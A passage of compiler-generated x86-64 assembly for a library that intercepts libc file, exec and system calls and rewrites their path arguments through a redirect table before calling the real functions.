mov DWORD PTR -4324[rbp], eax
.L36:
lea rdx, -4288[rbp]
mov rax, QWORD PTR -4344[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rdi, rax
mov edx, DWORD PTR -4324[rbp]
mov eax, DWORD PTR -4348[rbp]
mov rcx, QWORD PTR -4320[rbp]
mov esi, eax
call rcx
mov rcx, QWORD PTR -184[rbp]
sub rcx, QWORD PTR fs:40
je .L40
call __stack_chk_fail@PLT
.L40:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size open64, .-open64
.section .rodata
.LC4:
.string "openat"
.text
.globl openat
.type openat, @function
openat:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 256
mov DWORD PTR -4340[rbp], edi
mov QWORD PTR -4352[rbp], rsi
mov DWORD PTR -4344[rbp], edx
mov QWORD PTR -152[rbp], rcx
mov QWORD PTR -144[rbp], r8
mov QWORD PTR -136[rbp], r9
test al, al
je .L42
movaps XMMWORD PTR -128[rbp], xmm0
movaps XMMWORD PTR -112[rbp], xmm1
movaps XMMWORD PTR -96[rbp], xmm2
movaps XMMWORD PTR -80[rbp], xmm3
movaps XMMWORD PTR -64[rbp], xmm4
movaps XMMWORD PTR -48[rbp], xmm5
movaps XMMWORD PTR -32[rbp], xmm6
movaps XMMWORD PTR -16[rbp], xmm7
.L42:
mov rax, QWORD PTR fs:40
mov QWORD PTR -184[rbp], rax
xor eax, eax
lea rsi, .LC4[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4320[rbp], rax
mov DWORD PTR -4324[rbp], 0
mov eax, DWORD PTR -4344[rbp]
mov edi, eax
call open_needs_mode
test eax, eax
je .L43
mov DWORD PTR -4312[rbp], 24
mov DWORD PTR -4308[rbp], 48
lea rax, 16[rbp]
mov QWORD PTR -4304[rbp], rax
lea rax, -176[rbp]
mov QWORD PTR -4296[rbp], rax
mov eax, DWORD PTR -4312[rbp]
cmp eax, 47
ja .L44
mov rax, QWORD PTR -4296[rbp]
mov edx, DWORD PTR -4312[rbp]
mov edx, edx
add rax, rdx
mov edx, DWORD PTR -4312[rbp]
add edx, 8
mov DWORD PTR -4312[rbp], edx
jmp .L45
.L44:
mov rax, QWORD PTR -4304[rbp]
lea rdx, 8[rax]
mov QWORD PTR -4304[rbp], rdx
.L45:
mov eax, DWORD PTR [rax]
mov DWORD PTR -4324[rbp], eax
.L43:
lea rdx, -4288[rbp]
mov rax, QWORD PTR -4352[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rsi, rax
mov ecx, DWORD PTR -4324[rbp]
mov edx, DWORD PTR -4344[rbp]
mov eax, DWORD PTR -4340[rbp]
mov r8, QWORD PTR -4320[rbp]
mov edi, eax
call r8
mov rcx, QWORD PTR -184[rbp]
sub rcx, QWORD PTR fs:40
je .L47
call __stack_chk_fail@PLT
.L47:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size openat, .-openat
.section .rodata
.LC5:
.string "fopen"
.text
.globl fopen
.type fopen, @function
fopen:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov QWORD PTR -4136[rbp], rdi
mov QWORD PTR -4144[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC5[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rcx, rax
mov rax, QWORD PTR -4144[rbp]
mov rdx, QWORD PTR -4120[rbp]
mov rsi, rax
mov rdi, rcx
call rdx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L50
call __stack_chk_fail@PLT
.L50:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size fopen, .-fopen
.section .rodata
.LC6:
.string "__nss_files_fopen"
.text
.globl __nss_files_fopen
.type __nss_files_fopen, @function
__nss_files_fopen:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov QWORD PTR -4136[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC6[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rdx, rax
mov rax, QWORD PTR -4120[rbp]
mov rdi, rdx
call rax
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L53
call __stack_chk_fail@PLT
.L53:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size __nss_files_fopen, .-__nss_files_fopen
.section .rodata
.LC7:
.string "fopen64"
.text
.globl fopen64
.type fopen64, @function
fopen64:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov QWORD PTR -4136[rbp], rdi
mov QWORD PTR -4144[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC7[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rcx, rax
mov rax, QWORD PTR -4144[rbp]
mov rdx, QWORD PTR -4120[rbp]
mov rsi, rax
mov rdi, rcx
call rdx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L56
call __stack_chk_fail@PLT
.L56:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size fopen64, .-fopen64
.section .rodata
.LC8:
.string "__xstat"
.text
.globl __xstat
.type __xstat, @function
__xstat:
.LFB16:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 64
mov DWORD PTR -4132[rbp], edi
mov QWORD PTR -4144[rbp], rsi
mov QWORD PTR -4152[rbp], rdx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC8[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4144[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rsi, rax
mov rdx, QWORD PTR -4152[rbp]
mov eax, DWORD PTR -4132[rbp]
mov rcx, QWORD PTR -4120[rbp]
mov edi, eax
call rcx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L59
call __stack_chk_fail@PLT
.L59:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE16:
.size __xstat, .-__xstat
.section .rodata
.LC9:
.string "__xstat64"
.text
.globl __xstat64
.type __xstat64, @function
__xstat64:
.LFB17:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 64
mov DWORD PTR -4132[rbp], edi
mov QWORD PTR -4144[rbp], rsi
mov QWORD PTR -4152[rbp], rdx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC9[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4144[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rsi, rax
mov rdx, QWORD PTR -4152[rbp]
mov eax, DWORD PTR -4132[rbp]
mov rcx, QWORD PTR -4120[rbp]
mov edi, eax
call rcx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L62
call __stack_chk_fail@PLT
.L62:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE17:
.size __xstat64, .-__xstat64
.section .rodata
.LC10:
.string "stat"
.text
.globl stat
.type stat, @function
stat:
.LFB18:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov QWORD PTR -4136[rbp], rdi
mov QWORD PTR -4144[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC10[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rcx, rax
mov rax, QWORD PTR -4144[rbp]
mov rdx, QWORD PTR -4120[rbp]
mov rsi, rax
mov rdi, rcx
call rdx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L65
call __stack_chk_fail@PLT
.L65:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE18:
.size stat, .-stat
.section .rodata
.LC11:
.string "access"
.text
.globl access
.type access, @function
access:
.LFB19:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov QWORD PTR -4136[rbp], rdi
mov DWORD PTR -4140[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC11[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rcx, rax
mov eax, DWORD PTR -4140[rbp]
mov rdx, QWORD PTR -4120[rbp]
mov esi, eax
mov rdi, rcx
call rdx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L68
call __stack_chk_fail@PLT
.L68:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE19:
.size access, .-access
.section .rodata
.LC12:
.string "posix_spawn"
.text
.globl posix_spawn
.type posix_spawn, @function
posix_spawn:
.LFB20:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 80
mov QWORD PTR -4136[rbp], rdi
mov QWORD PTR -4144[rbp], rsi
mov QWORD PTR -4152[rbp], rdx
mov QWORD PTR -4160[rbp], rcx
mov QWORD PTR -4168[rbp], r8
mov QWORD PTR -4176[rbp], r9
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC12[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4144[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rsi, rax
mov r8, QWORD PTR -4176[rbp]
mov rdi, QWORD PTR -4168[rbp]
mov rcx, QWORD PTR -4160[rbp]
mov rdx, QWORD PTR -4152[rbp]
mov rax, QWORD PTR -4136[rbp]
mov r10, QWORD PTR -4120[rbp]
mov r9, r8
mov r8, rdi
mov rdi, rax
call r10
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L71
call __stack_chk_fail@PLT
.L71:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE20:
.size posix_spawn, .-posix_spawn
.section .rodata
.LC13:
.string "posix_spawnp"
.text
.globl posix_spawnp
.type posix_spawnp, @function
posix_spawnp:
.LFB21:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 80
mov QWORD PTR -4136[rbp], rdi
mov QWORD PTR -4144[rbp], rsi
mov QWORD PTR -4152[rbp], rdx
mov QWORD PTR -4160[rbp], rcx
mov QWORD PTR -4168[rbp], r8
mov QWORD PTR -4176[rbp], r9
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC13[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4144[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rsi, rax
mov r8, QWORD PTR -4176[rbp]
mov rdi, QWORD PTR -4168[rbp]
mov rcx, QWORD PTR -4160[rbp]
mov rdx, QWORD PTR -4152[rbp]
mov rax, QWORD PTR -4136[rbp]
mov r10, QWORD PTR -4120[rbp]
mov r9, r8
mov r8, rdi
mov rdi, rax
call r10
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L74
call __stack_chk_fail@PLT
.L74:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE21:
.size posix_spawnp, .-posix_spawnp
.section .rodata
.LC14:
.string "execv"
.text
.globl execv
.type execv, @function
execv:
.LFB22:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov QWORD PTR -4136[rbp], rdi
mov QWORD PTR -4144[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC14[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rcx, rax
mov rax, QWORD PTR -4144[rbp]
mov rdx, QWORD PTR -4120[rbp]
mov rsi, rax
mov rdi, rcx
call rdx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L77
call __stack_chk_fail@PLT
.L77:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE22:
.size execv, .-execv
.section .rodata
.LC15:
.string "execvp"
.text
.globl execvp
.type execvp, @function
execvp:
.LFB23:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov QWORD PTR -4136[rbp], rdi
mov QWORD PTR -4144[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC15[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rcx, rax
mov rax, QWORD PTR -4144[rbp]
mov rdx, QWORD PTR -4120[rbp]
mov rsi, rax
mov rdi, rcx
call rdx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L80
call __stack_chk_fail@PLT
.L80:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE23:
.size execvp, .-execvp
.section .rodata
.LC16:
.string "execve"
.text
.globl execve
.type execve, @function
execve:
.LFB24:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 64
mov QWORD PTR -4136[rbp], rdi
mov QWORD PTR -4144[rbp], rsi
mov QWORD PTR -4152[rbp], rdx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC16[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rdi, rax
mov rdx, QWORD PTR -4152[rbp]
mov rax, QWORD PTR -4144[rbp]
mov rcx, QWORD PTR -4120[rbp]
mov rsi, rax
call rcx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L83
call __stack_chk_fail@PLT
.L83:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE24:
.size execve, .-execve
.section .rodata
.LC17:
.string "opendir"
.text
.globl opendir
.type opendir, @function
opendir:
.LFB25:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov QWORD PTR -4136[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC17[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rdx, rax
mov rax, QWORD PTR -4120[rbp]
mov rdi, rdx
call rax
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L86
call __stack_chk_fail@PLT
.L86:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE25:
.size opendir, .-opendir
.section .rodata
.LC18:
.string "%s%s%s"
.text
.type replace_substring, @function
replace_substring:
.LFB26:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1088
mov QWORD PTR -1048[rbp], rdi
mov QWORD PTR -1056[rbp], rsi
mov QWORD PTR -1064[rbp], rdx
mov QWORD PTR -1072[rbp], rcx
mov QWORD PTR -1080[rbp], r8
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov QWORD PTR -1040[rbp], 0
mov QWORD PTR -1032[rbp], 0
lea rdx, -1024[rbp]
mov eax, 0
mov ecx, 62
mov rdi, rdx
rep stosq
mov rax, QWORD PTR -1072[rbp]
sub rax, QWORD PTR -1048[rbp]
mov rdx, rax
mov rcx, QWORD PTR -1048[rbp]
lea rax, -1040[rbp]
mov rsi, rcx
mov rdi, rax
call strncpy@PLT
mov QWORD PTR -528[rbp], 0
mov QWORD PTR -520[rbp], 0
lea rdx, -512[rbp]
mov eax, 0
mov ecx, 62
mov rdi, rdx
rep stosq
mov rax, QWORD PTR -1048[rbp]
mov rdi, rax
call strlen@PLT
mov rdx, QWORD PTR -1048[rbp]
add rax, rdx
cmp QWORD PTR -1080[rbp], rax
jnb .L88
mov rdx, QWORD PTR -1080[rbp]
lea rax, -528[rbp]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
.L88:
lea rsi, -528[rbp]
mov rcx, QWORD PTR -1064[rbp]
lea rdx, -1040[rbp]
mov rax, QWORD PTR -1056[rbp]
mov r8, rsi
lea rsi, .LC18[rip]
mov rdi, rax
mov eax, 0
call sprintf@PLT
mov rax, QWORD PTR -1056[rbp]
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L90
call __stack_chk_fail@PLT
.L90:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE26:
.size replace_substring, .-replace_substring
.type replace_string, @function
replace_string:
.LFB27:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 600
.cfi_offset 3, -24
mov QWORD PTR -4680[rbp], rdi
mov QWORD PTR -4688[rbp], rsi
mov QWORD PTR -4696[rbp], rdx
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
mov DWORD PTR -4672[rbp], 0
mov rax, QWORD PTR -4688[rbp]
mov rdi, rax
call strlen@PLT
mov DWORD PTR -4656[rbp], eax
mov DWORD PTR -4668[rbp], 0
jmp .L92
.L94:
mov eax, DWORD PTR -4668[rbp]
movsx rdx, eax
mov rax, QWORD PTR -4680[rbp]
add rax, rdx
mov QWORD PTR -4648[rbp], rax
mov eax, DWORD PTR -4656[rbp]
movsx rdx, eax
mov rcx, QWORD PTR -4648[rbp]
mov rax, QWORD PTR -4688[rbp]
mov rsi, rcx
mov rdi, rax
call strncmp@PLT
test eax, eax
jne .L93
mov eax, DWORD PTR -4672[rbp]
cdqe
mov rdx, QWORD PTR -4648[rbp]
mov QWORD PTR -4640[rbp+rax*8], rdx
add DWORD PTR -4672[rbp], 1
.L93:
add DWORD PTR -4668[rbp], 1
.L92:
mov eax, DWORD PTR -4668[rbp]
movsx rbx, eax
mov rax, QWORD PTR -4680[rbp]
mov rdi, rax
call strlen@PLT
cmp rbx, rax
jb .L94
mov rax, QWORD PTR -4696[rbp]
mov rdi, rax
call strlen@PLT
mov ebx, eax
mov rax, QWORD PTR -4688[rbp]
mov rdi, rax
call strlen@PLT
mov edx, eax
mov eax, ebx
sub eax, edx
mov DWORD PTR -4652[rbp], eax
mov DWORD PTR -4664[rbp], 0
jmp .L95
.L98:
mov eax, DWORD PTR -4664[rbp]
cdqe
mov rdx, QWORD PTR -4640[rbp+rax*8]
mov eax, DWORD PTR -4656[rbp]
cdqe
lea rdi, [rdx+rax]
mov eax, DWORD PTR -4664[rbp]
cdqe
mov rcx, QWORD PTR -4640[rbp+rax*8]
mov rdx, QWORD PTR -4696[rbp]
lea rsi, -544[rbp]
mov rax, QWORD PTR -4680[rbp]
mov r8, rdi
mov rdi, rax
call replace_substring
lea rdx, -544[rbp]
mov rax, QWORD PTR -4680[rbp]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
mov eax, DWORD PTR -4664[rbp]
add eax, 1
mov DWORD PTR -4660[rbp], eax
jmp .L96
.L97:
mov eax, DWORD PTR -4660[rbp]
cdqe
mov rdx, QWORD PTR -4640[rbp+rax*8]
mov eax, DWORD PTR -4652[rbp]
cdqe
add rdx, rax
mov eax, DWORD PTR -4660[rbp]
cdqe
mov QWORD PTR -4640[rbp+rax*8], rdx
add DWORD PTR -4660[rbp], 1
.L96:
mov eax, DWORD PTR -4660[rbp]
cmp eax, DWORD PTR -4672[rbp]
jl .L97
add DWORD PTR -4664[rbp], 1
.L95:
mov eax, DWORD PTR -4664[rbp]
cmp eax, DWORD PTR -4672[rbp]
jl .L98
mov rax, QWORD PTR -4680[rbp]
mov rbx, QWORD PTR -24[rbp]
sub rbx, QWORD PTR fs:40
je .L100
call __stack_chk_fail@PLT
.L100:
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE27:
.size replace_string, .-replace_string
.type rewriteSystemCall, @function
rewriteSystemCall:
.LFB28:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov rax, QWORD PTR -32[rbp]
mov QWORD PTR -8[rbp], rax
mov rdx, QWORD PTR -24[rbp]
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
mov DWORD PTR -12[rbp], 0
jmp .L102
.L103:
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, to[rip]
mov rdx, QWORD PTR [rdx+rax]
mov eax, DWORD PTR -12[rbp]
cdqe
lea rcx, 0[0+rax*8]
lea rax, from[rip]
mov rcx, QWORD PTR [rcx+rax]
mov rax, QWORD PTR -32[rbp]
mov rsi, rcx
mov rdi, rax
call replace_string
add DWORD PTR -12[rbp], 1
.L102:
mov eax, DWORD PTR nrRedirects[rip]
cmp DWORD PTR -12[rbp], eax
jl .L103
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE28:
.size rewriteSystemCall, .-rewriteSystemCall
.section .rodata
.LC19:
.string "system"
.text
.globl system
.type system, @function
system:
.LFB29:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 560
mov QWORD PTR -552[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC19[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -536[rbp], rax
lea rdx, -528[rbp]
mov rax, QWORD PTR -552[rbp]
mov rsi, rdx
mov rdi, rax
call rewriteSystemCall
lea rax, -528[rbp]
mov rdx, QWORD PTR -536[rbp]
mov rdi, rax
call rdx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L106
call __stack_chk_fail@PLT
.L106:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE29:
.size system, .-system
.section .rodata
.LC20:
.string "mkdir"
.text
.globl mkdir
.type mkdir, @function
mkdir:
.LFB30:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov QWORD PTR -4136[rbp], rdi
mov DWORD PTR -4140[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC20[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rcx, rax
mov eax, DWORD PTR -4140[rbp]
mov rdx, QWORD PTR -4120[rbp]
mov esi, eax
mov rdi, rcx
call rdx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L109
call __stack_chk_fail@PLT
.L109:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE30:
.size mkdir, .-mkdir
.section .rodata
.LC21:
.string "mkdirat"
.text
.globl mkdirat
.type mkdirat, @function
mkdirat:
.LFB31:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov DWORD PTR -4132[rbp], edi
mov QWORD PTR -4144[rbp], rsi
mov DWORD PTR -4136[rbp], edx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC21[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4144[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rsi, rax
mov edx, DWORD PTR -4136[rbp]
mov eax, DWORD PTR -4132[rbp]
mov rcx, QWORD PTR -4120[rbp]
mov edi, eax
call rcx
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L112
call __stack_chk_fail@PLT
.L112:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE31:
.size mkdirat, .-mkdirat
.section .rodata
.LC22:
.string "unlink"
.text
.globl unlink
.type unlink, @function
unlink:
.LFB32:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov QWORD PTR -4136[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC22[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4136[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rdx, rax
mov rax, QWORD PTR -4120[rbp]
mov rdi, rdx
call rax
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L115
call __stack_chk_fail@PLT
.L115:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE32:
.size unlink, .-unlink
.section .rodata
.LC23:
.string "unlinkat"
.text
.globl unlinkat
.type unlinkat, @function
unlinkat:
.LFB33:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 48
mov DWORD PTR -4132[rbp], edi
mov QWORD PTR -4144[rbp], rsi
mov DWORD PTR -4136[rbp], edx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rsi, .LC23[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4120[rbp], rax
lea rdx, -4112[rbp]
mov rax, QWORD PTR -4144[rbp]
mov rsi, rdx
mov rdi, rax
